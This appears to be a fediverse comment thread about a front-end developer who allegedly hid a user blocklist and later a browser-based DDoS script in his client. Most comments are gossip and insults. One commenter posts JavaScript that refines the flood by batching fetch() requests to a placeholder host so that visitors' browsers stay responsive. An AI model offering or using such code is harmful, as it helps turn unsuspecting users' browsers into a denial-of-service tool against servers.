Can someone ELI5? I’m way out of the loop and almost too afraid to ask at this point.

Is tessaract an instance? My understanding through memes is that they hardcoded a blocklist of users and instances and it became a badge of honor to have your name on it.

I think this is the first time the whole fediverse agrees to who the asshole is.

Thanks, dec of Tesseract, you actually left a positive impact on the fediverse. Please don’t come back.

he is probably still reading these discussions lol

Lol, what a loser.

Wow, this went from petty to downright malware by proxy. Real mature.

All those repeating lines when he could have called a separate function?

I would never have passed a first year student who wrote that code. C-

I tried to carve out a space where those people and other rougher edges were not drowning out niche communities and hobbies and where people who choose to use the platform to harass others were also out of sight, out of mind. Apparently only three people who aren’t me actually want a place that’s not just a circle-jerk of rage and hate. Thus sayeth the mob.

100% that dude was running an op. If you want to “carve out” such a space, that would be an instance for the “non-crazies” where all “those people and other rougher edges were not drowning out niche communities and hobbies” were banned or filtered out. You can block and filter however you want on your instance. In fact that is one of the expectation one has of an instance and how one chooses an instance. I chose blahaj because of how the admins, you know, administrate and curate the instance. Writing a front-end and smuggling in a blocklist via other commits (no commit message ever acknowledged the blocklist as it was being built afaik) and having a central point of truth for what and who gets filtered is not how you “carve out” a space, it’s how you try to shape discourse on an entire platform.

That DDOS attempt is him being extremely mad at db0 for thwarting this before his front-end became the de-facto standard for power-users, especially mods and admins.

.world was on the precipice of doing the right thing and disaccociating themselves from that psychotic shit show, but silently dropped the issue and carried on as usual after wringing their hands for maybe two weeks.

Oh yeah they just silently dropped it, they still owe db0 an apology for throwing all this shit at them right immediately after the nazi allegation got debunked.

I’m one person and have held my fucking ground, mostly with dignity and grace, in the heat of my own shitstorm of trying to disaccociate from the extremist elements of the fediverse.

You already had ragequit the fediverse last year remember? This is just lolcow behavior at this point.

P.S. Rimu, you owe me a beer. No one is talking about the Piefed vote quotas anymore, so you’re welcome.

I sometimes do wonder what goes on in the matrix rooms around the fediverse lol. Seems like someone fell out of favor with even the most liberal of the anti-tankies.

Just for the sake of inadequacy of the sorrowful code…

And though I was banned on the /0 instance for a single message, too, with some experience in web-dev wanted to clarify regarding the possible immaturity of the sad malicious script authors…

That attempt seems too reckless and disregards the client optimizations, I believe, and may “choke” the JavaScript engine event-loop of common clients as modern browsers, since Fetch API is asynchronous, and not to mention net::ERR_INSUFFICIENT_RESOURCES that may also cause lagging in the client.

A few milliseconds timeout, or more adequate batching/chunks seems required. For example:

async function fetchChunks(urls, chunkSize = 10) {
  for (let i = 0; i < urls.length; i += chunkSize) {
    const chunk = urls.slice(i, i + chunkSize);

    try {
        await Promise.all(chunk.map(url => fetch(url)));
    } finally {
        await new Promise(r => setTimeout(r, 50));
    }
  }
}

const urls = [];

for (let i = 0; i < 50; i += 1) {
    const random = ...;

    urls.push(`https://test.test/$%7Brandom%7D`);
}

fetchChunks(urls);

That would at least make it more adequate in the scope of User clients with less but still loading them awfully and disrespectfully… which is sorrowful indeed…

Such actions may tarnish someone’s history much to the point their self-confidence may not recover shortly and require a great amount of time to believe in yourself hopefully again… Therefore, let’s hope the people behind it will reconsider their actions as soon as possible… and won’t dig their own beliefs and love too deep to search for later…

“Apparently only three people who aren’t me actually want a place that’s not just a circle-jerk of rage and hate.”

I think this is the best part of their message

I’m somewhat ok with catering to a political filter in an instance/frontend, even if I prefer open inclusion. But DDOSing anyone in fediverse is bad/unacceptable.

Lemmings going to lemmy…

Just waiting for the mass suicide…

Is this why my PC crashed last night?? But I wasn’t even on this debulldozer thingy!

Can someone please ELI5?

I’ve never seen a dev do something like this. Pretty incredible that he put that in the code. It just shows the maturity level of these guys.